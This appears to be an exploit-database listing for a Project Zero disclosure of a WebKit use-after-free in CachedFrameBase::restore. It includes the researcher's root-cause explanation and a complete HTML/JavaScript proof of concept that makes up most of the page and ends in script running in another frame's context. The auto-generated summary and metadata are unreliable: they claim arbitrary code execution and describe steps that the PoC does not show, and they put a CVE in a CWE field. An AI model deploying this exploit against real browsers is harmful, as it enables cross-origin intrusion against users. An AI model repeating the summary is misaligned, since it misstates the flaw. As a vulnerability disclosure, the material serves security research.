header-logo
Suggest Exploit
vendor:
N/A
by:
Project Zero
8,8
CVSS
HIGH
Use-after-free
416
CWE
Product Name: N/A
Affected Version From: Unknown
Affected Version To: Unknown
Patch Exists: YES
Related CWE: CVE-2015-6789
CPE: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2015

Use-after-free in CachedFrameBase::restore

This vulnerability is a use-after-free vulnerability in the CachedFrameBase::restore method. The vulnerability occurs when the open method is called in the iteration, the next child frame is attached to the parent frame holding the replaced document. This can be exploited by creating two iframes and navigating the first iframe to a malicious page which will close itself after the document is replaced. The second iframe will then be able to access the replaced document, allowing an attacker to execute arbitrary code.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the open method is not called while the document is being replaced.
Source

Exploit-DB raw data:

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1151

Here is a snippet of CachedFrameBase::restore which is invoked when cached frames are restored.

void CachedFrameBase::restore()
{
    ...
    for (auto& childFrame : m_childFrames) {
        ASSERT(childFrame->view()->frame().page());
        frame.tree().appendChild(childFrame->view()->frame());
        childFrame->open(); <----- (a)
    }
    ...
    // FIXME: update Page Visibility state here.
    // https://bugs.webkit.org/show_bug.cgi?id=116770
    m_document->enqueuePageshowEvent(PageshowEventPersisted);

    HistoryItem* historyItem = frame.loader().history().currentItem();
    if (historyItem && historyItem->stateObject())
        m_document->enqueuePopstateEvent(historyItem->stateObject());

    frame.view()->didRestoreFromPageCache();
}

enqueuePageshowEvent and enqueuePopstateEvent are named "enqueue*", but actually those *dispatch* window events that may fire JavaScript handlers synchronously. 

At (a), |open| method may invoke |CachedFrameBase::restore| method again. Thus, the parent frame's document may be replaced while |open| is called in the iteration, the next child frame is attached to the parent frame holding the replaced document.

PoC:
-->

<html>
<body>
<script>

function createURL(data, type = 'text/html') {
    return URL.createObjectURL(new Blob([data], {type: type}));
}

function navigate(w, url) {
    let a = w.document.createElement('a');
    a.href = url;
    a.click();
}

function main() {
    let i0 = document.body.appendChild(document.createElement('iframe'));
    let i1 = document.body.appendChild(document.createElement('iframe'));

    i0.contentWindow.onpageshow = () => {
        navigate(window, 'https://abc.xyz/');

        showModalDialog(createURL(`
<script>
let it = setInterval(() => {
    try {
        opener.document.x;
    } catch (e) {
        clearInterval(it);
        window.close();
    }
}, 10);
</scrip` + 't>'));

    };

    i1.contentWindow.onpageshow = () => {
        i1.srcdoc = '<script>alert(parent.location);</scrip' + 't>';
        navigate(i1.contentWindow, 'about:srcdoc');
    };

    navigate(window, createURL(`<html><head></head><body>Click anywhere<script>
window.onclick = () => {
    window.onclick = null;

    history.back();
};

</scrip` + `t></body></html>`));
}

window.onload = () => {
    setTimeout(main, 0);
};

</script>
</body>
</html>